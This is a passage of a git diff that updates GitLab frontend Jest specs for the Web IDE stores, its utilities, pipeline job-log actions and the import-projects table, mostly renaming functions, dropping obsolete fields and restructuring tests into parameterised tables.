return store.dispatch('openPendingTab', { file: f, keyPrefix: 'pending' }).then(() => {
- expect(router.push).toHaveBeenCalledWith('/project/123/tree/master/');
+ expect(router.push).toHaveBeenCalledWith('/project/test/test/tree/master/');
});
});
});
diff --git a/spec/frontend/ide/stores/actions/merge_request_spec.js b/spec/frontend/ide/stores/actions/merge_request_spec.js
index 62971b9cad6..b1cceda9d85 100644
--- a/spec/frontend/ide/stores/actions/merge_request_spec.js
+++ b/spec/frontend/ide/stores/actions/merge_request_spec.js
@@ -453,11 +453,9 @@ describe('IDE store merge request actions', () => {
it('updates activity bar view and gets file data, if changes are found', done => {
store.state.entries.foo = {
- url: 'test',
type: 'blob',
};
store.state.entries.bar = {
- url: 'test',
type: 'blob',
};
diff --git a/spec/frontend/ide/stores/actions_spec.js b/spec/frontend/ide/stores/actions_spec.js
index f77dbd80025..ebf39df2f6f 100644
--- a/spec/frontend/ide/stores/actions_spec.js
+++ b/spec/frontend/ide/stores/actions_spec.js
@@ -123,7 +123,6 @@ describe('Multi-file store actions', () => {
it('creates temp tree', done => {
store
.dispatch('createTempEntry', {
- branchId: store.state.currentBranchId,
name: 'test',
type: 'tree',
})
@@ -150,7 +149,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
- branchId: store.state.currentBranchId,
name: 'testing/test',
type: 'tree',
})
@@ -176,7 +174,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
- branchId: store.state.currentBranchId,
name: 'testing',
type: 'tree',
})
@@ -197,7 +194,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
name,
- branchId: 'mybranch',
type: 'blob',
})
.then(() => {
@@ -217,7 +213,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
name,
- branchId: 'mybranch',
type: 'blob',
})
.then(() => {
@@ -237,7 +232,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
name,
- branchId: 'mybranch',
type: 'blob',
})
.then(() => {
@@ -249,7 +243,7 @@ describe('Multi-file store actions', () => {
});
it('sets tmp file as active', () => {
- createTempEntry(store, { name: 'test', branchId: 'mybranch', type: 'blob' });
+ createTempEntry(store, { name: 'test', type: 'blob' });
expect(store.dispatch).toHaveBeenCalledWith('setFileActive', 'test');
});
@@ -262,7 +256,6 @@ describe('Multi-file store actions', () => {
store
.dispatch('createTempEntry', {
name: 'test',
- branchId: 'mybranch',
type: 'blob',
})
.then(() => {
@@ -780,9 +773,11 @@ describe('Multi-file store actions', () => {
});
it('routes to the renamed file if the original file has been opened', done => {
+ store.state.currentProjectId = 'test/test';
+ store.state.currentBranchId = 'master';
+
Object.assign(store.state.entries.orig, {
opened: true,
- url: '/foo-bar.md',
});
store
@@ -792,7 +787,7 @@ describe('Multi-file store actions', () => {
})
.then(() => {
expect(router.push.mock.calls).toHaveLength(1);
- expect(router.push).toHaveBeenCalledWith(`/project/foo-bar.md`);
+ expect(router.push).toHaveBeenCalledWith(`/project/test/test/tree/master/-/renamed/`);
})
.then(done)
.catch(done.fail);
diff --git a/spec/frontend/ide/stores/getters_spec.js b/spec/frontend/ide/stores/getters_spec.js
index dcf05329ce0..e24f08fa802 100644
--- a/spec/frontend/ide/stores/getters_spec.js
+++ b/spec/frontend/ide/stores/getters_spec.js
@@ -1,3 +1,4 @@
+import { TEST_HOST } from 'helpers/test_constants';
import * as getters from '~/ide/stores/getters';
import { createStore } from '~/ide/stores';
import { file } from '../helpers';
@@ -482,4 +483,48 @@ describe('IDE store getters', () => {
expect(localStore.getters.getAvailableFileName('foo-bar1.jpg')).toBe('foo-bar1.jpg');
});
});
+
+ describe('getUrlForPath', () => {
+ it('returns a route url for the given path', () => {
+ localState.currentProjectId = 'test/test';
+ localState.currentBranchId = 'master';
+
+ expect(localStore.getters.getUrlForPath('path/to/foo/bar-1.jpg')).toBe(
+ `/project/test/test/tree/master/-/path/to/foo/bar-1.jpg/`,
+ );
+ });
+ });
+
+ describe('getJsonSchemaForPath', () => {
+ beforeEach(() => {
+ localState.currentProjectId = 'path/to/some/project';
+ localState.currentBranchId = 'master';
+ });
+
+ it('returns a json schema uri and match config for a json/yaml file that can be loaded by monaco', () => {
+ expect(localStore.getters.getJsonSchemaForPath('.gitlab-ci.yml')).toEqual({
+ fileMatch: ['*.gitlab-ci.yml'],
+ uri: `${TEST_HOST}/path/to/some/project/-/schema/master/.gitlab-ci.yml`,
+ });
+ });
+
+ it('returns a path containing sha if branch details are present in state', () => {
+ localState.projects['path/to/some/project'] = {
+ name: 'project',
+ branches: {
+ master: {
+ name: 'master',
+ commit: {
+ id: 'abcdef123456',
+ },
+ },
+ },
+ };
+
+ expect(localStore.getters.getJsonSchemaForPath('.gitlab-ci.yml')).toEqual({
+ fileMatch: ['*.gitlab-ci.yml'],
+ uri: `${TEST_HOST}/path/to/some/project/-/schema/abcdef123456/.gitlab-ci.yml`,
+ });
+ });
+ });
});
diff --git a/spec/frontend/ide/stores/integration_spec.js b/spec/frontend/ide/stores/integration_spec.js
index f95f036f572..b6a7c7fd02d 100644
--- a/spec/frontend/ide/stores/integration_spec.js
+++ b/spec/frontend/ide/stores/integration_spec.js
@@ -36,8 +36,6 @@ describe('IDE store integration', () => {
beforeEach(() => {
const { entries, treeList } = decorateFiles({
data: [`${TEST_PATH_DIR}/`, TEST_PATH, 'README.md'],
- projectId: TEST_PROJECT_ID,
- branchId: TEST_BRANCH,
});
Object.assign(entries[TEST_PATH], {
diff --git a/spec/frontend/ide/stores/modules/commit/actions_spec.js b/spec/frontend/ide/stores/modules/commit/actions_spec.js
index a14879112fd..babc50e54f1 100644
--- a/spec/frontend/ide/stores/modules/commit/actions_spec.js
+++ b/spec/frontend/ide/stores/modules/commit/actions_spec.js
@@ -9,6 +9,7 @@ import eventHub from '~/ide/eventhub';
import consts from '~/ide/stores/modules/commit/constants';
import * as mutationTypes from '~/ide/stores/modules/commit/mutation_types';
import * as actions from '~/ide/stores/modules/commit/actions';
+import { createUnexpectedCommitError } from '~/ide/lib/errors';
import { commitActionTypes, PERMISSION_CREATE_MR } from '~/ide/constants';
import testAction from '../../../../helpers/vuex_action_helper';
@@ -510,7 +511,7 @@ describe('IDE commit module actions', () => {
});
});
- describe('failed', () => {
+ describe('success response with failed message', () => {
beforeEach(() => {
jest.spyOn(service, 'commit').mockResolvedValue({
data: {
@@ -533,6 +534,25 @@ describe('IDE commit module actions', () => {
});
});
+ describe('failed response', () => {
+ beforeEach(() => {
+ jest.spyOn(service, 'commit').mockRejectedValue({});
+ });
+
+ it('commits error updates', async () => {
+ jest.spyOn(store, 'commit');
+
+ await store.dispatch('commit/commitChanges').catch(() => {});
+
+ expect(store.commit.mock.calls).toEqual([
+ ['commit/CLEAR_ERROR', undefined, undefined],
+ ['commit/UPDATE_LOADING', true, undefined],
+ ['commit/UPDATE_LOADING', false, undefined],
+ ['commit/SET_ERROR', createUnexpectedCommitError(), undefined],
+ ]);
+ });
+ });
+
describe('first commit of a branch', () => {
const COMMIT_RESPONSE = {
id: '123456',
diff --git a/spec/frontend/ide/stores/modules/commit/mutations_spec.js b/spec/frontend/ide/stores/modules/commit/mutations_spec.js
index 45ac1a86ab3..6393a70eac6 100644
--- a/spec/frontend/ide/stores/modules/commit/mutations_spec.js
+++ b/spec/frontend/ide/stores/modules/commit/mutations_spec.js
@@ -1,5 +1,6 @@
import commitState from '~/ide/stores/modules/commit/state';
import mutations from '~/ide/stores/modules/commit/mutations';
+import * as types from '~/ide/stores/modules/commit/mutation_types';
describe('IDE commit module mutations', () => {
let state;
@@ -62,4 +63,24 @@ describe('IDE commit module mutations', () => {
expect(state.shouldCreateMR).toBe(false);
});
});
+
+ describe(types.CLEAR_ERROR, () => {
+ it('should clear commitError', () => {
+ state.commitError = {};
+
+ mutations[types.CLEAR_ERROR](state);
+
+ expect(state.commitError).toBeNull();
+ });
+ });
+
+ describe(types.SET_ERROR, () => {
+ it('should set commitError', () => {
+ const error = { title: 'foo' };
+
+ mutations[types.SET_ERROR](state, error);
+
+ expect(state.commitError).toBe(error);
+ });
+ });
});
diff --git a/spec/frontend/ide/stores/modules/pipelines/actions_spec.js b/spec/frontend/ide/stores/modules/pipelines/actions_spec.js
index 71918e7e2c2..8511843cc92 100644
--- a/spec/frontend/ide/stores/modules/pipelines/actions_spec.js
+++ b/spec/frontend/ide/stores/modules/pipelines/actions_spec.js
@@ -15,10 +15,10 @@ import {
fetchJobs,
toggleStageCollapsed,
setDetailJob,
- requestJobTrace,
- receiveJobTraceError,
- receiveJobTraceSuccess,
- fetchJobTrace,
+ requestJobLogs,
+ receiveJobLogsError,
+ receiveJobLogsSuccess,
+ fetchJobLogs,
resetLatestPipeline,
} from '~/ide/stores/modules/pipelines/actions';
import state from '~/ide/stores/modules/pipelines/state';
@@ -324,24 +324,24 @@ describe('IDE pipelines actions', () => {
});
});
- describe('requestJobTrace', () => {
+ describe('requestJobLogs', () => {
it('commits request', done => {
- testAction(requestJobTrace, null, mockedState, [{ type: types.REQUEST_JOB_TRACE }], [], done);
+ testAction(requestJobLogs, null, mockedState, [{ type: types.REQUEST_JOB_LOGS }], [], done);
});
});
- describe('receiveJobTraceError', () => {
+ describe('receiveJobLogsError', () => {
it('commits error', done => {
testAction(
- receiveJobTraceError,
+ receiveJobLogsError,
null,
mockedState,
- [{ type: types.RECEIVE_JOB_TRACE_ERROR }],
+ [{ type: types.RECEIVE_JOB_LOGS_ERROR }],
[
{
type: 'setErrorMessage',
payload: {
- text: 'An error occurred while fetching the job trace.',
+ text: 'An error occurred while fetching the job logs.',
action: expect.any(Function),
actionText: 'Please try again',
actionPayload: null,
@@ -353,20 +353,20 @@ describe('IDE pipelines actions', () => {
});
});
- describe('receiveJobTraceSuccess', () => {
+ describe('receiveJobLogsSuccess', () => {
it('commits data', done => {
testAction(
- receiveJobTraceSuccess,
+ receiveJobLogsSuccess,
'data',
mockedState,
- [{ type: types.RECEIVE_JOB_TRACE_SUCCESS, payload: 'data' }],
+ [{ type: types.RECEIVE_JOB_LOGS_SUCCESS, payload: 'data' }],
[],
done,
);
});
});
- describe('fetchJobTrace', () => {
+ describe('fetchJobLogs', () => {
beforeEach(() => {
mockedState.detailJob = { path: `${TEST_HOST}/project/builds` };
});
@@ -379,20 +379,20 @@ describe('IDE pipelines actions', () => {
it('dispatches request', done => {
testAction(
- fetchJobTrace,
+ fetchJobLogs,
null,
mockedState,
[],
[
- { type: 'requestJobTrace' },
- { type: 'receiveJobTraceSuccess', payload: { html: 'html' } },
+ { type: 'requestJobLogs' },
+ { type: 'receiveJobLogsSuccess', payload: { html: 'html' } },
],
done,
);
});
it('sends get request to correct URL', () => {
- fetchJobTrace({
+ fetchJobLogs({
state: mockedState,
dispatch() {},
@@ -410,11 +410,11 @@ describe('IDE pipelines actions', () => {
it('dispatches error', done => {
testAction(
- fetchJobTrace,
+ fetchJobLogs,
null,
mockedState,
[],
- [{ type: 'requestJobTrace' }, { type: 'receiveJobTraceError' }],
+ [{ type: 'requestJobLogs' }, { type: 'receiveJobLogsError' }],
done,
);
});
diff --git a/spec/frontend/ide/stores/modules/pipelines/mutations_spec.js b/spec/frontend/ide/stores/modules/pipelines/mutations_spec.js
index 3b7f92cfa74..7d2f5d5d710 100644
--- a/spec/frontend/ide/stores/modules/pipelines/mutations_spec.js
+++ b/spec/frontend/ide/stores/modules/pipelines/mutations_spec.js
@@ -175,37 +175,37 @@ describe('IDE pipelines mutations', () => {
});
});
- describe('REQUEST_JOB_TRACE', () => {
+ describe('REQUEST_JOB_LOGS', () => {
beforeEach(() => {
mockedState.detailJob = { ...jobs[0] };
});
it('sets loading on detail job', () => {
- mutations[types.REQUEST_JOB_TRACE](mockedState);
+ mutations[types.REQUEST_JOB_LOGS](mockedState);
expect(mockedState.detailJob.isLoading).toBe(true);
});
});
- describe('RECEIVE_JOB_TRACE_ERROR', () => {
+ describe('RECEIVE_JOB_LOGS_ERROR', () => {
beforeEach(() => {
mockedState.detailJob = { ...jobs[0], isLoading: true };
});
it('sets loading to false on detail job', () => {
- mutations[types.RECEIVE_JOB_TRACE_ERROR](mockedState);
+ mutations[types.RECEIVE_JOB_LOGS_ERROR](mockedState);
expect(mockedState.detailJob.isLoading).toBe(false);
});
});
- describe('RECEIVE_JOB_TRACE_SUCCESS', () => {
+ describe('RECEIVE_JOB_LOGS_SUCCESS', () => {
beforeEach(() => {
mockedState.detailJob = { ...jobs[0], isLoading: true };
});
it('sets output on detail job', () => {
- mutations[types.RECEIVE_JOB_TRACE_SUCCESS](mockedState, { html: 'html' });
+ mutations[types.RECEIVE_JOB_LOGS_SUCCESS](mockedState, { html: 'html' });
expect(mockedState.detailJob.output).toBe('html');
expect(mockedState.detailJob.isLoading).toBe(false);
});
diff --git a/spec/frontend/ide/stores/mutations/file_spec.js b/spec/frontend/ide/stores/mutations/file_spec.js
index ff904bbc9cd..b53e40be980 100644
--- a/spec/frontend/ide/stores/mutations/file_spec.js
+++ b/spec/frontend/ide/stores/mutations/file_spec.js
@@ -61,13 +61,11 @@ describe('IDE store file mutations', () => {
mutations.SET_FILE_DATA(localState, {
data: {
raw_path: 'raw',
- binary: true,
},
file: localFile,
});
expect(localFile.rawPath).toBe('raw');
- expect(localFile.binary).toBeTruthy();
expect(localFile.raw).toBeNull();
expect(localFile.baseRaw).toBeNull();
});
diff --git a/spec/frontend/ide/stores/mutations_spec.js b/spec/frontend/ide/stores/mutations_spec.js
index 1b29648fb8b..09e9481e5d4 100644
--- a/spec/frontend/ide/stores/mutations_spec.js
+++ b/spec/frontend/ide/stores/mutations_spec.js
@@ -113,8 +113,6 @@ describe('Multi-file store mutations', () => {
},
treeList: [tmpFile],
},
- projectId: 'gitlab-ce',
- branchId: 'master',
});
expect(localState.trees['gitlab-ce/master'].tree.length).toEqual(1);
@@ -272,7 +270,6 @@ describe('Multi-file store mutations', () => {
prevId: undefined,
prevPath: undefined,
prevName: undefined,
- prevUrl: undefined,
prevKey: undefined,
}),
);
@@ -337,7 +334,6 @@ describe('Multi-file store mutations', () => {
};
Object.assign(localState.entries['root-folder/oldPath'], {
parentPath: 'root-folder',
- url: 'root-folder/oldPath-blob-root-folder/oldPath',
});
mutations.RENAME_ENTRY(localState, {
@@ -366,9 +362,6 @@ describe('Multi-file store mutations', () => {
});
it('renames entry, preserving old parameters', () => {
- Object.assign(localState.entries.oldPath, {
- url: `project/-/oldPath`,
- });
const oldPathData = localState.entries.oldPath;
mutations.RENAME_ENTRY(localState, {
@@ -382,12 +375,10 @@ describe('Multi-file store mutations', () => {
id: 'newPath',
path: 'newPath',
name: 'newPath',
- url: `project/-/newPath`,
key: expect.stringMatching('newPath'),
prevId: 'oldPath',
prevName: 'oldPath',
prevPath: 'oldPath',
- prevUrl: `project/-/oldPath`,
prevKey: oldPathData.key,
prevParentPath: oldPathData.parentPath,
});
@@ -409,7 +400,6 @@ describe('Multi-file store mutations', () => {
prevId: expect.anything(),
prevName: expect.anything(),
prevPath: expect.anything(),
- prevUrl: expect.anything(),
prevKey: expect.anything(),
prevParentPath: expect.anything(),
}),
@@ -419,7 +409,7 @@ describe('Multi-file store mutations', () => {
it('properly handles files with spaces in name', () => {
const path = 'my fancy path';
const newPath = 'new path';
- const oldEntry = { ...file(path, path, 'blob'), url: `project/-/${path}` };
+ const oldEntry = file(path, path, 'blob');
localState.entries[path] = oldEntry;
@@ -435,12 +425,10 @@ describe('Multi-file store mutations', () => {
id: newPath,
path: newPath,
name: newPath,
- url: `project/-/new path`,
key: expect.stringMatching(newPath),
prevId: path,
prevName: path,
prevPath: path,
- prevUrl: `project/-/my fancy path`,
prevKey: oldEntry.key,
prevParentPath: oldEntry.parentPath,
});
@@ -549,7 +537,7 @@ describe('Multi-file store mutations', () => {
it('correctly saves original values if an entry is renamed multiple times', () => {
const original = { ...localState.entries.oldPath };
- const paramsToCheck = ['prevId', 'prevPath', 'prevName', 'prevUrl'];
+ const paramsToCheck = ['prevId', 'prevPath', 'prevName'];
const expectedObj = paramsToCheck.reduce(
(o, param) => ({ ...o, [param]: original[param.replace('prev', '').toLowerCase()] }),
{},
@@ -577,7 +565,6 @@ describe('Multi-file store mutations', () => {
prevId: 'lorem/orig',
prevPath: 'lorem/orig',
prevName: 'orig',
- prevUrl: 'project/-/loren/orig',
prevKey: 'lorem/orig',
prevParentPath: 'lorem',
};
@@ -602,7 +589,6 @@ describe('Multi-file store mutations', () => {
prevId: undefined,
prevPath: undefined,
prevName: undefined,
- prevUrl: undefined,
prevKey: undefined,
prevParentPath: undefined,
}),
diff --git a/spec/frontend/ide/sync_router_and_store_spec.js b/spec/frontend/ide/sync_router_and_store_spec.js
index ccf6e200806..20fd77c4dfb 100644
--- a/spec/frontend/ide/sync_router_and_store_spec.js
+++ b/spec/frontend/ide/sync_router_and_store_spec.js
@@ -17,9 +17,13 @@ describe('~/ide/sync_router_and_store', () => {
const getRouterCurrentPath = () => router.currentRoute.fullPath;
const getStoreCurrentPath = () => store.state.router.fullPath;
- const updateRouter = path => {
+ const updateRouter = async path => {
+ if (getRouterCurrentPath() === path) {
+ return;
+ }
+
router.push(path);
- return waitForPromises();
+ await waitForPromises();
};
const updateStore = path => {
store.dispatch('router/push', path);
diff --git a/spec/frontend/ide/utils_spec.js b/spec/frontend/ide/utils_spec.js
index e7ef0de45a0..97dc8217ecc 100644
--- a/spec/frontend/ide/utils_spec.js
+++ b/spec/frontend/ide/utils_spec.js
@@ -2,7 +2,7 @@ import { languages } from 'monaco-editor';
import {
isTextFile,
registerLanguages,
- registerSchemas,
+ registerSchema,
trimPathComponents,
insertFinalNewline,
trimTrailingWhitespace,
@@ -13,60 +13,78 @@ import {
describe('WebIDE utils', () => {
describe('isTextFile', () => {
- it('returns false for known binary types', () => {
- expect(isTextFile('file content', 'image/png', 'my.png')).toBeFalsy();
- // mime types are case insensitive
- expect(isTextFile('file content', 'IMAGE/PNG', 'my.png')).toBeFalsy();
+ it.each`
+ mimeType | name | type | result
+ ${'image/png'} | ${'my.png'} | ${'binary'} | ${false}
+ ${'IMAGE/PNG'} | ${'my.png'} | ${'binary'} | ${false}
+ ${'text/plain'} | ${'my.txt'} | ${'text'} | ${true}
+ ${'TEXT/PLAIN'} | ${'my.txt'} | ${'text'} | ${true}
+ `('returns $result for known $type types', ({ mimeType, name, result }) => {
+ expect(isTextFile({ content: 'file content', mimeType, name })).toBe(result);
});
- it('returns true for known text types', () => {
- expect(isTextFile('file content', 'text/plain', 'my.txt')).toBeTruthy();
- // mime types are case insensitive
- expect(isTextFile('file content', 'TEXT/PLAIN', 'my.txt')).toBeTruthy();
- });
+ it.each`
+ content | mimeType | name
+ ${'{"éêė":"value"}'} | ${'application/json'} | ${'my.json'}
+ ${'{"éêė":"value"}'} | ${'application/json'} | ${'.tsconfig'}
+ ${'SELECT "éêė" from tablename'} | ${'application/sql'} | ${'my.sql'}
+ ${'{"éêė":"value"}'} | ${'application/json'} | ${'MY.JSON'}
+ ${'SELECT "éêė" from tablename'} | ${'application/sql'} | ${'MY.SQL'}
+ ${'var code = "something"'} | ${'application/javascript'} | ${'Gruntfile'}
+ ${'MAINTAINER ÐлекÑандр "a21283@me.com"'} | ${'application/octet-stream'} | ${'dockerfile'}
+ `(
+ 'returns true for file extensions that Monaco supports syntax highlighting for',
+ ({ content, mimeType, name }) => {
+ expect(isTextFile({ content, mimeType, name })).toBe(true);
+ },
+ );
- it('returns true for file extensions that Monaco supports syntax highlighting for', () => {
- // test based on both MIME and extension
- expect(isTextFile('{"éêė":"value"}', 'application/json', 'my.json')).toBeTruthy();
- expect(isTextFile('{"éêė":"value"}', 'application/json', '.tsconfig')).toBeTruthy();
- expect(isTextFile('SELECT "éêė" from tablename', 'application/sql', 'my.sql')).toBeTruthy();
+ it('returns false if filename is same as the expected extension', () => {
+ expect(
+ isTextFile({
+ name: 'sql',
+ content: 'SELECT "éêė" from tablename',
+ mimeType: 'application/sql',
+ }),
+ ).toBeFalsy();
});
- it('returns true even irrespective of whether the mimes, extensions or file names are lowercase or upper case', () => {
- expect(isTextFile('{"éêė":"value"}', 'application/json', 'MY.JSON')).toBeTruthy();
- expect(isTextFile('SELECT "éêė" from tablename', 'application/sql', 'MY.SQL')).toBeTruthy();
- expect(
- isTextFile('var code = "something"', 'application/javascript', 'Gruntfile'),
- ).toBeTruthy();
+ it('returns true for ASCII only content for unknown types', () => {
expect(
- isTextFile(
- 'MAINTAINER ÐлекÑандр "alexander11354322283@me.com"',
- 'application/octet-stream',
- 'dockerfile',
- ),
+ isTextFile({
+ name: 'hello.mytype',
+ content: 'plain text',
+ mimeType: 'application/x-new-type',
+ }),
).toBeTruthy();
});
- it('returns false if filename is same as the expected extension', () => {
- expect(isTextFile('SELECT "éêė" from tablename', 'application/sql', 'sql')).toBeFalsy();
- });
-
- it('returns true for ASCII only content for unknown types', () => {
- expect(isTextFile('plain text', 'application/x-new-type', 'hello.mytype')).toBeTruthy();
+ it('returns false for non-ASCII content for unknown types', () => {
+ expect(
+ isTextFile({
+ name: 'my.random',
+ content: '{"éêė":"value"}',
+ mimeType: 'application/octet-stream',
+ }),
+ ).toBeFalsy();
});
- it('returns true for relevant filenames', () => {
- expect(
- isTextFile(
- 'MAINTAINER ÐлекÑандр "alexander11354322283@me.com"',
- 'application/octet-stream',
- 'Dockerfile',
- ),
- ).toBeTruthy();
+ it.each`
+ name | result
+ ${'myfile.txt'} | ${true}
+ ${'Dockerfile'} | ${true}
+ ${'img.png'} | ${false}
+ ${'abc.js'} | ${true}
+ ${'abc.random'} | ${false}
+ ${'image.jpeg'} | ${false}
+ `('returns $result for $filename when no content or mimeType is passed', ({ name, result }) => {
+ expect(isTextFile({ name })).toBe(result);
});
- it('returns false for non-ASCII content for unknown types', () => {
- expect(isTextFile('{"éêė":"value"}', 'application/octet-stream', 'my.random')).toBeFalsy();
+ it('returns true if content is empty string but false if content is not passed', () => {
+ expect(isTextFile({ name: 'abc.dat' })).toBe(false);
+ expect(isTextFile({ name: 'abc.dat', content: '' })).toBe(true);
+ expect(isTextFile({ name: 'abc.dat', content: ' ' })).toBe(true);
});
});
@@ -159,55 +177,37 @@ describe('WebIDE utils', () => {
});
});
- describe('registerSchemas', () => {
- let options;
+ describe('registerSchema', () => {
+ let schema;
beforeEach(() => {
- options = {
- validate: true,
- enableSchemaRequest: true,
- hover: true,
- completion: true,
- schemas: [
- {
- uri: 'http://myserver/foo-schema.json',
- fileMatch: ['*'],
- schema: {
- id: 'http://myserver/foo-schema.json',
- type: 'object',
- properties: {
- p1: { enum: ['v1', 'v2'] },
- p2: { $ref: 'http://myserver/bar-schema.json' },
- },
- },
- },
- {
- uri: 'http://myserver/bar-schema.json',
- schema: {
- id: 'http://myserver/bar-schema.json',
- type: 'object',
- properties: { q1: { enum: ['x1', 'x2'] } },
- },
+ schema = {
+ uri: 'http://myserver/foo-schema.json',
+ fileMatch: ['*'],
+ schema: {
+ id: 'http://myserver/foo-schema.json',
+ type: 'object',
+ properties: {
+ p1: { enum: ['v1', 'v2'] },
+ p2: { $ref: 'http://myserver/bar-schema.json' },
},
- ],
+ },
};
jest.spyOn(languages.json.jsonDefaults, 'setDiagnosticsOptions');
jest.spyOn(languages.yaml.yamlDefaults, 'setDiagnosticsOptions');
});
- it.each`
- language | defaultsObj
- ${'json'} | ${languages.json.jsonDefaults}
- ${'yaml'} | ${languages.yaml.yamlDefaults}
- `(
- 'registers the given schemas with monaco for lang: $language',
- ({ language, defaultsObj }) => {
- registerSchemas({ language, options });
+ it('registers the given schemas with monaco for both json and yaml languages', () => {
+ registerSchema(schema);
- expect(defaultsObj.setDiagnosticsOptions).toHaveBeenCalledWith(options);
- },
- );
+ expect(languages.json.jsonDefaults.setDiagnosticsOptions).toHaveBeenCalledWith(
+ expect.objectContaining({ schemas: [schema] }),
+ );
+ expect(languages.yaml.yamlDefaults.setDiagnosticsOptions).toHaveBeenCalledWith(
+ expect.objectContaining({ schemas: [schema] }),
+ );
+ });
});
describe('trimTrailingWhitespace', () => {
diff --git a/spec/frontend/import_projects/components/bitbucket_status_table_spec.js b/spec/frontend/import_projects/components/bitbucket_status_table_spec.js
index 132ccd0e324..b65b388fd5f 100644
--- a/spec/frontend/import_projects/components/bitbucket_status_table_spec.js
+++ b/spec/frontend/import_projects/components/bitbucket_status_table_spec.js
@@ -33,7 +33,7 @@ describe('BitbucketStatusTable', () => {
it('renders import table component', () => {
createComponent({ providerTitle: 'Test' });
- expect(wrapper.contains(ImportProjectsTable)).toBe(true);
+ expect(wrapper.find(ImportProjectsTable).exists()).toBe(true);
});
it('passes alert in incompatible-repos-warning slot', () => {
diff --git a/spec/frontend/import_projects/components/import_projects_table_spec.js b/spec/frontend/import_projects/components/import_projects_table_spec.js
index b217242968a..1dbad588ec4 100644
--- a/spec/frontend/import_projects/components/import_projects_table_spec.js
+++ b/spec/frontend/import_projects/components/import_projects_table_spec.js
@@ -1,15 +1,12 @@
import { nextTick } from 'vue';
import Vuex from 'vuex';
import { createLocalVue, shallowMount } from '@vue/test-utils';
-import { GlLoadingIcon, GlButton } from '@gitlab/ui';
+import { GlLoadingIcon, GlButton, GlIntersectionObserver } from '@gitlab/ui';
import state from '~/import_projects/store/state';
import * as getters from '~/import_projects/store/getters';
import { STATUSES } from '~/import_projects/constants';
import ImportProjectsTable from '~/import_projects/components/import_projects_table.vue';
-import ImportedProjectTableRow from '~/import_projects/components/imported_project_table_row.vue';
import ProviderRepoTableRow from '~/import_projects/components/provider_repo_table_row.vue';
-import IncompatibleRepoTableRow from '~/import_projects/components/incompatible_repo_table_row.vue';
-import PageQueryParamSync from '~/import_projects/components/page_query_param_sync.vue';
describe('ImportProjectsTable', () => {
let wrapper;
@@ -18,16 +15,26 @@ describe('ImportProjectsTable', () => {
wrapper.find('input[data-qa-selector="githubish_import_filter_field"]');
const providerTitle = 'THE PROVIDER';
- const providerRepo = { id: 10, sanitizedName: 'sanitizedName', fullName: 'fullName' };
+ const providerRepo = {
+ importSource: {
+ id: 10,
+ sanitizedName: 'sanitizedName',
+ fullName: 'fullName',
+ },
+ importedProject: null,
+ };
const findImportAllButton = () =>
wrapper
.findAll(GlButton)
.filter(w => w.props().variant === 'success')
.at(0);
+ const findImportAllModal = () => wrapper.find({ ref: 'importAllModal' });
const importAllFn = jest.fn();
+ const importAllModalShowFn = jest.fn();
const setPageFn = jest.fn();
+ const fetchReposFn = jest.fn();
function createComponent({
state: initialState,
@@ -46,7 +53,7 @@ describe('ImportProjectsTable', () => {
...customGetters,
},
actions: {
- fetchRepos: jest.fn(),
+ fetchRepos: fetchReposFn,
fetchJobs: jest.fn(),
fetchNamespaces: jest.fn(),
importAll: importAllFn,
@@ -66,6 +73,9 @@ describe('ImportProjectsTable', () => {
paginatable,
},
slots,
+ stubs: {
+ GlModal: { template: '<div>Modal!</div>', methods: { show: importAllModalShowFn } },
+ },
});
}
@@ -79,58 +89,54 @@ describe('ImportProjectsTable', () => {
it('renders a loading icon while repos are loading', () => {
createComponent({ state: { isLoadingRepos: true } });
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
it('renders a loading icon while namespaces are loading', () => {
createComponent({ state: { isLoadingNamespaces: true } });
- expect(wrapper.contains(GlLoadingIcon)).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(true);
});
- it('renders a table with imported projects and provider repos', () => {
+ it('renders a table with provider repos', () => {
+ const repositories = [
+ { importSource: { id: 1 }, importedProject: null },
+ { importSource: { id: 2 }, importedProject: { importStatus: STATUSES.FINISHED } },
+ { importSource: { id: 3, incompatible: true }, importedProject: {} },
+ ];
+
createComponent({
- state: {
- namespaces: [{ fullPath: 'path' }],
- repositories: [
- { importSource: { id: 1 }, importedProject: null, importStatus: STATUSES.NONE },
- { importSource: { id: 2 }, importedProject: {}, importStatus: STATUSES.FINISHED },
- {
- importSource: { id: 3, incompatible: true },
- importedProject: {},
- importStatus: STATUSES.NONE,
- },
- ],
- },
+ state: { namespaces: [{ fullPath: 'path' }], repositories },
});
- expect(wrapper.contains(GlLoadingIcon)).toBe(false);
- expect(wrapper.contains('table')).toBe(true);
+ expect(wrapper.find(GlLoadingIcon).exists()).toBe(false);
+ expect(wrapper.find('table').exists()).toBe(true);
expect(
wrapper
.findAll('th')
.filter(w => w.text() === `From ${providerTitle}`)
- .isEmpty(),
- ).toBe(false);
+ .exists(),
+ ).toBe(true);
- expect(wrapper.contains(ProviderRepoTableRow)).toBe(true);
- expect(wrapper.contains(ImportedProjectTableRow)).toBe(true);
- expect(wrapper.contains(IncompatibleRepoTableRow)).toBe(true);
+ expect(wrapper.findAll(ProviderRepoTableRow)).toHaveLength(repositories.length);
});
it.each`
- hasIncompatibleRepos | buttonText
- ${false} | ${'Import all repositories'}
- ${true} | ${'Import all compatible repositories'}
+ hasIncompatibleRepos | count | buttonText
+ ${false} | ${1} | ${'Import 1 repository'}
+ ${true} | ${1} | ${'Import 1 compatible repository'}
+ ${false} | ${5} | ${'Import 5 repositories'}
+ ${true} | ${5} | ${'Import 5 compatible repositories'}
`(
- 'import all button has "$buttonText" text when hasIncompatibleRepos is $hasIncompatibleRepos',
- ({ hasIncompatibleRepos, buttonText }) => {
+ 'import all button has "$buttonText" text when hasIncompatibleRepos is $hasIncompatibleRepos and repos count is $count',
+ ({ hasIncompatibleRepos, buttonText, count }) => {
createComponent({
state: {
providerRepos: [providerRepo],
},
getters: {
hasIncompatibleRepos: () => hasIncompatibleRepos,
+ importAllCount: () => count,
},
});
@@ -138,20 +144,28 @@ describe('ImportProjectsTable', () => {
},
);
- it('renders an empty state if there are no projects available', () => {
+ it('renders an empty state if there are no repositories available', () => {
